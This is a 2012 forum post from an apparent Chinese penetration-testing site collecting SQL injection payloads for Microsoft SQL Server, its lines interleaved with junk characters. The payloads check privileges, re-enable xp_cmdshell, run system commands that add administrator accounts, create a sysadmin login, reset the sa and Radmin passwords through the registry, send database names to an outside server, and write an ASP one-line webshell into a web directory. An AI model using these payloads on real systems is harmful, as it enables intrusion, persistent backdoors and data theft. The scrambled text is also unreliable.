中国网络渗透测试联盟

标题: 阿D常用的一些注入命令 [打印本页]

作者: admin    时间: 2012-9-13 17:26
标题: 阿D常用的一些注入命令
阿D常用的一些注入命令! A  z$ M5 z: x5 Y( ]/ k. v  f
//看看是什么权限的
. z* m0 n) K6 H  R4 p  c% i1 ]+ J* vand 1=(Select IS_MEMBER('db_owner')), f* t3 j+ b1 C
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--/ K3 h, }5 C6 Q

% A$ q3 j! I% n3 g/ h//检测是否有读取某数据库的权限
. X8 q6 g# N6 ~% |: J7 xand 1= (Select HAS_DBACCESS('master')); D9 @, x8 v' A6 t) g% W
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
+ [4 O; B. J" ^) _% ?+ O, v& A# t" _2 X$ L7 B& ^* r
; p+ L+ i" L! g3 I* b$ M
数字类型7 v9 D' j' k! o, E3 H6 X
and char(124)%2Buser%2Bchar(124)=0
7 l. J1 w7 Z2 D3 x  I: [
+ g4 @; o& p  }5 `) g字符类型
9 m. i" w) A/ `' and char(124)%2Buser%2Bchar(124)=0 and ''='; G8 `% p& [$ [4 {3 h1 j

  y$ h& e1 L8 V# H5 s2 F搜索类型  i9 l/ y8 L8 W$ f
' and char(124)%2Buser%2Bchar(124)=0 and '%'='7 R+ w( A# N3 d8 Q1 t/ M8 z3 d" {
% U$ `6 Y2 }7 J( j: u: E. U
爆用户名
) Q% |5 Y; c0 l$ ~6 O* cand user>0$ O9 k: i7 U3 @# W4 w
' and user>0 and ''='8 l3 x% S# I5 d2 D6 T; x' k3 S
  \4 R" j5 I1 j! X& m* M
检测是否为SA权限
  G5 f; s. ^" L4 e* Jand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
  O# ^0 S9 ^# ]" s( a; VAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
6 N# X6 Q4 v; ~* Q# r; N  O  @7 p! ^+ v! n
检测是不是MSSQL数据库/ k$ B) F' x& ~. o
and exists (select * from sysobjects);-- * j; c( C6 N: k2 Q& Z' g2 Z9 [

. \6 \: S* }+ F. V检测是否支持多行, \# S) F6 o3 j* O  \# Z
;declare @d int;--
8 j, K- l$ j( z& d9 Q' R" @5 I# @! I9 p9 x! s' V. M$ V
恢复 xp_cmdshell% ~  I) s4 J' j: `. T5 p
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--2 I$ H; t7 h3 r  S- q% Z

- }! K. Q& Q6 B8 t( H
* g. @& g1 j1 z) k$ S, Rselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') 3 T$ }& {! A) Y# ^" j! G
7 }* f. o2 m; k
//-----------------------
3 A7 ]5 M, ]* w7 {//      执行命令/ P( ?( o1 x' _: \# `' ?& A" A
//-----------------------' r+ E# c0 T( V# V8 y- B4 t2 d3 m3 \8 o
首先开启沙盘模式:& F  y+ j  J5 l4 e$ m) {5 D
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
2 x+ H5 \" g2 s5 a6 W/ b! H
4 w0 g0 ^" d8 `: U5 e, P! @; r然后利用jet.oledb执行系统命令$ X$ ^% }" J! e0 P
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')( n" j9 D& z. O' |0 ]5 f5 M' |
; K2 w4 B4 l% s9 A+ [/ A9 v. x2 f
执行命令
* _, [7 @. @+ U2 G0 \;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
* f) F% F- }8 {3 w0 f% m& d2 T  o+ k( M
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'! P0 [, R. h$ ?- `
7 v+ X4 [0 z9 [9 z  x/ J% }
判断xp_cmdshell扩展存储过程是否存在:' K5 ~# I( v, U! j( h/ e
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
- C  Q. R3 z0 t
& I( ], \/ ?/ B/ L! G1 X. x5 E; t写注册表
; X! r6 D2 w  N! Q" B6 Bexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
( V3 q- D. L' V
! ~: n6 b7 w+ \( N) MREG_SZ# [4 e0 B$ n: g/ J
0 N3 [2 v4 r$ I) k" Z  Y
读注册表
# }# `3 P: d7 ~$ A( zexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
5 g; {" E4 [/ P" [1 {6 q; x3 B
9 C" I: A& x3 H) u5 V( F, k读取目录内容
9 ^+ \' v  [" M+ |/ @exec master..xp_dirtree 'c:\winnt\system32\',1,1
2 {! K' I0 s. g5 P& e6 d" ^! c! v/ Q' m! M% c# ^3 \. B, E7 E3 f
" P( Q: {1 W8 C; i
数据库备份. G. ], |" s8 o5 P1 g
backup database pubs to disk = 'c:\123.bak'
" l" A( y/ O) A8 p$ K; n4 e1 s, {( ~: E. A. c8 B" @4 H! ^5 \
//爆出长度  e& |) a3 w- d$ \1 J# q
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--$ E! P! ^  M, D3 G7 s/ c9 X

8 v2 h& b0 k1 l: P" ]5 z
  U. P3 Q; h% i9 q# S# F5 `/ w: Z5 m* X, Q5 S
更改sa口令方法:用sql综合利用工具连接后,执行命令:0 T1 h. O' \: q3 T
exec sp_password NULL,'新密码','sa'
0 u& v0 w  b' {6 u
, j' Q& m. h) \2 ^4 n添加和删除一个SA权限的用户test:' K  B( r# c8 d: o; A6 S5 W, Z2 @
exec master.dbo.sp_addlogin test,ptlove
; D* ~+ `6 l: t: N- B# j% lexec master.dbo.sp_addsrvrolemember test,sysadmin
, R) T% C" L! c( Q
. E" L/ L. |! X8 @  S  m删除扩展存储过过程xp_cmdshell的语句: 5 f, M5 t# W) x* d3 V1 Y
exec sp_dropextendedproc 'xp_cmdshell'
0 R! W- Z, {  t5 t1 X! B4 D; w, k( |% {
3 A; H- r5 J) H  W+ Z0 ]# s" [( R添加扩展存储过过程: q: n0 z+ ^4 a+ }1 [7 K
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
* ]# e' _' n) o1 p! h) TGRANT exec On xp_proxiedadata TO public 4 A# n- Z# Z0 l3 V, u
# E6 \0 r5 V! h' s0 a' G5 U8 N
  c1 i( G  g: T- G6 e/ @. f
停掉或激活某个服务。
: N6 E( w/ |  U8 S5 o0 r$ p; ~$ t" o
exec master..xp_servicecontrol 'stop','schedule'
% F4 g& \4 x2 k7 v( g% ]exec master..xp_servicecontrol 'start','schedule'
3 h  r3 }: c( L5 I+ g, b. w8 ]
$ W& h2 v9 z) r* Q: l9 ]: xdbo.xp_subdirs
! N7 b- b: a3 m$ X1 M0 e
4 \, s1 M. M3 B8 V7 q) G- Z' g4 }只列某个目录下的子目录。
1 X) P0 c* R/ m8 H7 Q& D6 dxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp': Z  l% n6 k3 ]  }$ N. F
9 J. W$ I$ y" b5 M. a8 d# G, y
dbo.xp_makecab
) _* F) w7 [% N% q5 t+ u. q- d  n8 G: o/ k
将目标多个档案压缩到某个目标档案之内。
7 Q8 H; g: q% t6 g所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
, l' K8 V& N+ M! |/ u# X! [% U% T3 D3 S, u
dbo.xp_makecab
. H( O: ~! ]+ W  F. v'c:\test.cab','mszip',1,0 |# x/ @) \+ H, U4 w( q, }0 s, W
'C:\Inetpub\wwwroot\SQLInject\login.asp',8 [7 C' y) M; K# O( S5 l( K
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
8 I+ r* G) a  x+ ]# X$ N% k
7 U" z4 J' E7 ^) P$ cxp_terminate_process7 @" ^$ F) [, ]* c2 i, K

! r+ ~0 {2 ~/ h/ o8 Q( S停掉某个执行中的程序,但赋予的参数是 Process ID。9 u  X1 B- P" X. X# w$ _: ~
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
) z4 c4 G! a6 i! ~, V8 v* Z0 g+ i# X2 l9 C$ i5 s& f- x2 {
xp_terminate_process 24841 ^# m/ x- A0 @2 r% j7 W) \

9 A5 m/ Z) R. y/ N" K1 Xxp_unpackcab
- Z9 ~' \+ B9 B2 x1 k* A" a$ r
! F2 }7 X! p  Q6 z& z+ r( B解开压缩档。. y. {* u7 d" P0 P" R5 E8 Q
2 f* A& E  P6 W+ A
xp_unpackcab 'c:\test.cab','c:\temp',12 ?9 f4 L. e7 U( b4 Q6 U

" A4 x# r/ o+ a6 x* k+ F4 Z  H* h* V$ R
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12346 O/ Q) N# S' {% K! x

$ v7 y1 l2 ]' B( g# P6 d* Y3 h% ycreate database lcx;3 H- F& a, D0 b& e/ V$ |5 D
Create TABLE ku(name nvarchar(256) null);
6 P2 N1 F( t' X5 l/ g8 LCreate TABLE biao(id int NULL,name nvarchar(256) null);
$ v' M+ T$ v9 M" n( q: w; n2 N8 u" d% ~# p
//得到数据库名
/ n3 l! q3 Z! Minsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases; s& m; u8 r+ N% d, d' i
  ~$ B( `' X8 U2 {, G

% X' \' B4 c, G9 L& P% X//在Master中创建表,看看权限怎样- o5 ^. p- \* j3 l- P
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--$ l5 T. v2 g& e: ?( |1 G+ T8 @

1 z! K/ M5 i$ v/ U' V& c# ?  k用 sp_makewebtask直接在web目录里写入一句话马:# c8 H: M; o# B' e
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
/ _$ U: N9 c' G
7 |. p2 |. R% `. m& J0 `( M//更新表内容
4 I; C, a1 V2 y$ NUpdate films SET kind = 'Dramatic' Where id = 123
. R5 ~% n% e. G0 `: W8 M' W' ~0 b: P  E
+ n) ~8 v$ Z4 h8 E& z1 E- U//删除内容' W3 ]- Q1 }" a  Z) t0 F$ @+ L" {
delete from table_name where Stockid = 3




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2